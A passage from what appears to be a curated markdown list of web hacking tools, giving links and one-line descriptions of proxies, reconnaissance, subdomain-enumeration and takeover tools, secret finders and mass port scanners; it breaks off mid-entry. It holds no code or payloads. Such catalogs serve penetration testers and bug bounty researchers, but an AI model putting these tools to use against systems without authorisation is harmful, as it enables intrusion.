[`payload`](/categorize/tags/payload.md) [`encode`](/categorize/tags/encode.md) [`zipbomb`](/categorize/tags/zipbomb.md) [`report`](/categorize/tags/report.md) [`clipboard`](/categorize/tags/clipboard.md) [`diff`](/categorize/tags/diff.md) [`darkmode`](/categorize/tags/darkmode.md) [`fuzz`](/categorize/tags/fuzz.md) [`web3`](/categorize/tags/web3.md) | | Langs | [`Ruby`](/categorize/langs/Ruby.md) [`Java`](/categorize/langs/Java.md) [`Shell`](/categorize/langs/Shell.md) [`Go`](/categorize/langs/Go.md) [`Python`](/categorize/langs/Python.md) [`Rust`](/categorize/langs/Rust.md) [`C`](/categorize/langs/C.md) [`JavaScript`](/categorize/langs/JavaScript.md) [`Kotlin`](/categorize/langs/Kotlin.md) [`Crystal`](/categorize/langs/Crystal.md) [`Perl`](/categorize/langs/Perl.md) [`TypeScript`](/categorize/langs/TypeScript.md) [`BlitzBasic`](/categorize/langs/BlitzBasic.md) [`Txt`](/categorize/langs/Txt.md) [`CSS`](/categorize/langs/CSS.md) [`C++`](/categorize/langs/C++.md) [`C#`](/categorize/langs/C%23.md) [`PHP`](/categorize/langs/PHP.md) [`HTML`](/categorize/langs/HTML.md) | ### Tools | Type | Name | Description | Star | Tags | Badges | | --- | --- | --- | --- | --- | --- | |Army-Knife|[Metasploit](https://github.com/rapid7/metasploit-framework)|The world’s most used penetration testing framework|![](https://img.shields.io/github/stars/rapid7/metasploit-framework?label=%20)|[`pentest`](/categorize/tags/pentest.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Army-Knife|[BurpSuite](https://portswigger.net/burp)|The BurpSuite Project||[`mitmproxy`](/categorize/tags/mitmproxy.md) [`live-audit`](/categorize/tags/live-audit.md) [`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Army-Knife|[ZAP](https://github.com/zaproxy/zaproxy)|The ZAP core project|![](https://img.shields.io/github/stars/zaproxy/zaproxy?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md) [`live-audit`](/categorize/tags/live-audit.md) [`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Army-Knife|[axiom](https://github.com/pry0cc/axiom)|A dynamic infrastructure toolkit for red teamers and bug bounty hunters! |![](https://img.shields.io/github/stars/pry0cc/axiom?label=%20)|[`infra`](/categorize/tags/infra.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Army-Knife|[jaeles](https://github.com/jaeles-project/jaeles)|The Swiss Army knife for automated Web Application Testing |![](https://img.shields.io/github/stars/jaeles-project/jaeles?label=%20)|[`live-audit`](/categorize/tags/live-audit.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Proxy|[EvilProxy](https://github.com/bbtfr/evil-proxy)|A ruby http/https proxy to do EVIL things.|![](https://img.shields.io/github/stars/bbtfr/evil-proxy?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Proxy|[proxify](https://github.com/projectdiscovery/proxify)|Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation and replay|![](https://img.shields.io/github/stars/projectdiscovery/proxify?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Proxy|[Echo Mirage](https://sourceforge.net/projects/echomirage.oldbutgold.p/)|A generic network proxy that uses DLL injection to capture and alter TCP traffic.||[`mitmproxy`](/categorize/tags/mitmproxy.md)|![windows](/images/windows.png)| |Proxy|[Glorp](https://github.com/denandz/glorp)|A CLI-based HTTP intercept and replay proxy|![](https://img.shields.io/github/stars/denandz/glorp?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Proxy|[mitmproxy](https://github.com/mitmproxy/mitmproxy)|An interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.|![](https://img.shields.io/github/stars/mitmproxy/mitmproxy?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Proxy|[hetty](https://github.com/dstotijn/hetty)|Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community.|![](https://img.shields.io/github/stars/dstotijn/hetty?label=%20)|[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Proxy|[Caido](https://caido.io)|A lightweight web security auditing toolkit||[`mitmproxy`](/categorize/tags/mitmproxy.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[masscan](https://github.com/robertdavidgraham/masscan)|TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes. |![](https://img.shields.io/github/stars/robertdavidgraham/masscan?label=%20)|[`portscan`](/categorize/tags/portscan.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Recon|[FavFreak](https://github.com/devanshbatham/FavFreak)|Making Favicon.ico based Recon Great again ! |![](https://img.shields.io/github/stars/devanshbatham/FavFreak?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[chaos-client](https://github.com/projectdiscovery/chaos-client)|Go client to communicate with Chaos DNS API. |![](https://img.shields.io/github/stars/projectdiscovery/chaos-client?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[pagodo](https://github.com/opsdisk/pagodo)|pagodo (Passive Google Dork) - Automate Google Hacking Database scraping and searching|![](https://img.shields.io/github/stars/opsdisk/pagodo?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[knock](https://github.com/guelfoweb/knock)|Knock Subdomain Scan |![](https://img.shields.io/github/stars/guelfoweb/knock?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[uro](https://github.com/s0md3v/uro)|declutters url lists for crawling/pentesting|![](https://img.shields.io/github/stars/s0md3v/uro?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[haktrails](https://github.com/hakluke/haktrails)|Golang client for querying SecurityTrails API data|![](https://img.shields.io/github/stars/hakluke/haktrails?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[Photon](https://github.com/s0md3v/Photon)|Incredibly fast crawler designed for OSINT. |![](https://img.shields.io/github/stars/s0md3v/Photon?label=%20)|[`osint`](/categorize/tags/osint.md) [`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[HydraRecon](https://github.com/aufzayed/HydraRecon)|All In One, Fast, Easy Recon Tool|![](https://img.shields.io/github/stars/aufzayed/HydraRecon?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[puredns](https://github.com/d3mondev/puredns)|Puredns is a fast domain resolver and subdomain bruteforcing tool that can accurately filter out wildcard subdomains and DNS poisoned entries.|![](https://img.shields.io/github/stars/d3mondev/puredns?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[jsluice](https://github.com/BishopFox/jsluice)|Extract URLs, paths, secrets, and other interesting bits from JavaScript|![](https://img.shields.io/github/stars/BishopFox/jsluice?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[subs_all](https://github.com/emadshanab/subs_all)|Subdomain Enumeration Wordlist. 8956437 unique words. Updated. |![](https://img.shields.io/github/stars/emadshanab/subs_all?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[subfinder](https://github.com/projectdiscovery/subfinder)|Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. |![](https://img.shields.io/github/stars/projectdiscovery/subfinder?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[httpx](https://github.com/projectdiscovery/httpx)|httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. |![](https://img.shields.io/github/stars/projectdiscovery/httpx?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[BLUTO](https://github.com/darryllane/Bluto)|DNS Analysis Tool|![](https://img.shields.io/github/stars/darryllane/Bluto?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[shuffledns](https://github.com/projectdiscovery/shuffledns)|shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output support. |![](https://img.shields.io/github/stars/projectdiscovery/shuffledns?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[SecretFinder](https://github.com/m4ll0k/SecretFinder)|SecretFinder - A python script for find sensitive data (apikeys, accesstoken,jwt,..) and search anything on javascript files |![](https://img.shields.io/github/stars/m4ll0k/SecretFinder?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[zdns](https://github.com/zmap/zdns)|Fast CLI DNS Lookup Tool|![](https://img.shields.io/github/stars/zmap/zdns?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[naabu](https://github.com/projectdiscovery/naabu)|A fast port scanner written in go with focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests |![](https://img.shields.io/github/stars/projectdiscovery/naabu?label=%20)|[`portscan`](/categorize/tags/portscan.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[Arjun](https://github.com/s0md3v/Arjun)|HTTP parameter discovery suite. |![](https://img.shields.io/github/stars/s0md3v/Arjun?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[hakrevdns](https://github.com/hakluke/hakrevdns)|Small, fast tool for performing reverse DNS lookups en masse. |![](https://img.shields.io/github/stars/hakluke/hakrevdns?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gowitness](https://github.com/sensepost/gowitness)|🔍 gowitness - a golang, web screenshot utility using Chrome Headless |![](https://img.shields.io/github/stars/sensepost/gowitness?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[apkleaks](https://github.com/dwisiswant0/apkleaks)|Scanning APK file for URIs, endpoints & secrets. |![](https://img.shields.io/github/stars/dwisiswant0/apkleaks?label=%20)|[`apk`](/categorize/tags/apk.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[goverview](https://github.com/j3ssie/goverview)|goverview - Get an overview of the list of URLs|![](https://img.shields.io/github/stars/j3ssie/goverview?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gospider](https://github.com/jaeles-project/gospider)|Gospider - Fast web spider written in Go |![](https://img.shields.io/github/stars/jaeles-project/gospider?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[rusolver](https://github.com/Edu4rdSHL/rusolver)|Fast and accurate DNS resolver.|![](https://img.shields.io/github/stars/Edu4rdSHL/rusolver?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[x8](https://github.com/Sh1Yo/x8)|Hidden parameters discovery suite|![](https://img.shields.io/github/stars/Sh1Yo/x8?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[RustScan](https://github.com/brandonskerritt/RustScan)|Faster Nmap Scanning with Rust |![](https://img.shields.io/github/stars/brandonskerritt/RustScan?label=%20)|[`portscan`](/categorize/tags/portscan.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[urlhunter](https://github.com/utkusen/urlhunter)|a recon tool that allows searching on URLs that are exposed via shortener services|![](https://img.shields.io/github/stars/utkusen/urlhunter?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[dnsx](https://github.com/projectdiscovery/dnsx)|dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers.|![](https://img.shields.io/github/stars/projectdiscovery/dnsx?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[scilla](https://github.com/edoardottt/scilla)|🏴‍☠️ Information Gathering tool 🏴‍☠️ dns/subdomain/port enumeration|![](https://img.shields.io/github/stars/edoardottt/scilla?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[go-dork](https://github.com/dwisiswant0/go-dork)|The fastest dork scanner written in Go. |![](https://img.shields.io/github/stars/dwisiswant0/go-dork?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[shosubgo](https://github.com/incogbyte/shosubgo)|Small tool to Grab subdomains using Shodan api.|![](https://img.shields.io/github/stars/incogbyte/shosubgo?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gitrob](https://github.com/michenriksen/gitrob)|Reconnaissance tool for GitHub organizations |![](https://img.shields.io/github/stars/michenriksen/gitrob?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[noir](https://github.com/hahwul/noir)|♠️ Noir is an attack surface detector form source code.|![](https://img.shields.io/github/stars/hahwul/noir?label=%20)|[`endpoint`](/categorize/tags/endpoint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Crystal](/images/crystal.png)](/categorize/langs/Crystal.md)| |Recon|[subjack](https://github.com/haccer/subjack)|Subdomain Takeover tool written in Go |![](https://img.shields.io/github/stars/haccer/subjack?label=%20)|[`subdomains`](/categorize/tags/subdomains.md) [`takeover`](/categorize/tags/takeover.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[getJS](https://github.com/003random/getJS)|A tool to fastly get all javascript sources/files|![](https://img.shields.io/github/stars/003random/getJS?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[subzy](https://github.com/LukaSikic/subzy)|Subdomain takeover vulnerability checker|![](https://img.shields.io/github/stars/LukaSikic/subzy?label=%20)|[`subdomains`](/categorize/tags/subdomains.md) [`takeover`](/categorize/tags/takeover.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[assetfinder](https://github.com/tomnomnom/assetfinder)|Find domains and subdomains related to a given domain |![](https://img.shields.io/github/stars/tomnomnom/assetfinder?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[intrigue-core](https://github.com/intrigueio/intrigue-core)|Discover Your Attack Surface |![](https://img.shields.io/github/stars/intrigueio/intrigue-core?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Recon|[megplus](https://github.com/EdOverflow/megplus)|Automated reconnaissance wrapper — TomNomNom's meg on steroids. [DEPRECATED] |![](https://img.shields.io/github/stars/EdOverflow/megplus?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Recon|[LinkFinder](https://github.com/GerbenJavado/LinkFinder)|A python script that finds endpoints in JavaScript files |![](https://img.shields.io/github/stars/GerbenJavado/LinkFinder?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[meg](https://github.com/tomnomnom/meg)|Fetch many paths for many hosts - without killing the hosts |![](https://img.shields.io/github/stars/tomnomnom/meg?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[STEWS](https://github.com/PalindromeLabs/STEWS)|A Security Tool for Enumerating WebSockets|![](https://img.shields.io/github/stars/PalindromeLabs/STEWS?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[SubOver](https://github.com/Ice3man543/SubOver)|A Powerful Subdomain Takeover Tool|![](https://img.shields.io/github/stars/Ice3man543/SubOver?label=%20)|[`subdomains`](/categorize/tags/subdomains.md) [`takeover`](/categorize/tags/takeover.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[Sublist3r](https://github.com/aboul3la/Sublist3r)|Fast subdomains enumeration tool for penetration testers |![](https://img.shields.io/github/stars/aboul3la/Sublist3r?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[graphw00f](https://github.com/dolevf/graphw00f)|GraphQL Server Engine Fingerprinting utility|![](https://img.shields.io/github/stars/dolevf/graphw00f?label=%20)|[`graphql`](/categorize/tags/graphql.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[Amass](https://github.com/OWASP/Amass)|In-depth Attack Surface Mapping and Asset Discovery |![](https://img.shields.io/github/stars/OWASP/Amass?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[HostHunter](https://github.com/SpiderLabs/HostHunter)|Recon tool for discovering hostnames using OSINT techniques.|![](https://img.shields.io/github/stars/SpiderLabs/HostHunter?label=%20)|[`osint`](/categorize/tags/osint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[GitMiner](https://github.com/UnkL4b/GitMiner)|Tool for advanced mining for content on Github |![](https://img.shields.io/github/stars/UnkL4b/GitMiner?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[DNSDumpster](https://dnsdumpster.com)| Online dns recon & research, find & lookup dns records||[`dns`](/categorize/tags/dns.md) [`online`](/categorize/tags/online.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[dirsearch](https://github.com/maurosoria/dirsearch)|Web path scanner |![](https://img.shields.io/github/stars/maurosoria/dirsearch?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[lazyrecon](https://github.com/nahamsec/lazyrecon)|This script is intended to automate your reconnaissance process in an organized fashion |![](https://img.shields.io/github/stars/nahamsec/lazyrecon?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Recon|[dnsprobe](https://github.com/projectdiscovery/dnsprobe)|DNSProb (beta) is a tool built on top of retryabledns that allows you to perform multiple dns queries of your choice with a list of user supplied resolvers. |![](https://img.shields.io/github/stars/projectdiscovery/dnsprobe?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[rengine](https://github.com/yogeshojha/rengine)|reNgine is an automated reconnaissance framework meant for gathering information during penetration testing of web applications. reNgine has customizable scan engines, which can be used to scan the websites, endpoints, and gather information. |![](https://img.shields.io/github/stars/yogeshojha/rengine?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Recon|[Osmedeus](https://github.com/j3ssie/Osmedeus)|Fully automated offensive security framework for reconnaissance and vulnerability scanning |![](https://img.shields.io/github/stars/j3ssie/Osmedeus?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[cc.py](https://github.com/si9int/cc.py)|Extracting URLs of a specific target based on the results of "commoncrawl.org" |![](https://img.shields.io/github/stars/si9int/cc.py?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[github-subdomains](https://github.com/gwen001/github-subdomains)|Find subdomains on GitHub|![](https://img.shields.io/github/stars/gwen001/github-subdomains?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[ParamSpider](https://github.com/devanshbatham/ParamSpider)|Mining parameters from dark corners of Web Archives |![](https://img.shields.io/github/stars/devanshbatham/ParamSpider?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[3klCon](https://github.com/eslam3kl/3klCon)|Automation Recon tool which works with Large & Medium scopes. It performs more than 20 tasks and gets back all the results in separated files.|![](https://img.shields.io/github/stars/eslam3kl/3klCon?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[uncover](https://github.com/projectdiscovery/uncover)|Quickly discover exposed hosts on the internet using multiple search engine.|![](https://img.shields.io/github/stars/projectdiscovery/uncover?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[SecurityTrails](https://securitytrails.com)| Online dns / subdomain / recon tool||[`subdomains`](/categorize/tags/subdomains.md) [`online`](/categorize/tags/online.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[Chaos Web](https://chaos.projectdiscovery.io)| actively scan and maintain internet-wide assets' data. enhance research and analyse changes around DNS for better insights.|||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[github-endpoints](https://github.com/gwen001/github-endpoints)|Find endpoints on GitHub.|![](https://img.shields.io/github/stars/gwen001/github-endpoints?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[subgen](https://github.com/pry0cc/subgen)|A really simple utility to concate wordlists to a domain name - to pipe into your favourite resolver!|![](https://img.shields.io/github/stars/pry0cc/subgen?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[findomain](https://github.com/Edu4rdSHL/findomain)|The fastest and cross-platform subdomain enumerator, do not waste your time. |![](https://img.shields.io/github/stars/Edu4rdSHL/findomain?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[hakrawler](https://github.com/hakluke/hakrawler)|Simple, fast web crawler designed for easy, quick discovery of endpoints and assets within a web application |![](https://img.shields.io/github/stars/hakluke/hakrawler?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gobuster](https://github.com/OJ/gobuster)|Directory/File, DNS and VHost busting tool written in Go |![](https://img.shields.io/github/stars/OJ/gobuster?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[crawlergo](https://github.com/Qianlitp/crawlergo)|A powerful browser crawler for web vulnerability scanners|![](https://img.shields.io/github/stars/Qianlitp/crawlergo?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[altdns](https://github.com/infosec-au/altdns)|Generates permutations, alterations and mutations of subdomains and then resolves them |![](https://img.shields.io/github/stars/infosec-au/altdns?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[parameth](https://github.com/maK-/parameth)|This tool can be used to brute discover GET and POST parameters|![](https://img.shields.io/github/stars/maK-/parameth?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[JSFScan.sh](https://github.com/KathanP19/JSFScan.sh)|Automation for javascript recon in bug bounty. |![](https://img.shields.io/github/stars/KathanP19/JSFScan.sh?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Recon|[fhc](https://github.com/Edu4rdSHL/fhc)|Fast HTTP Checker.|![](https://img.shields.io/github/stars/Edu4rdSHL/fhc?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[Silver](https://github.com/s0md3v/Silver)|Mass scan IPs for vulnerable services |![](https://img.shields.io/github/stars/s0md3v/Silver?label=%20)|[`port`](/categorize/tags/port.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[longtongue](https://github.com/edoardottt/longtongue)|Customized Password/Passphrase List inputting Target 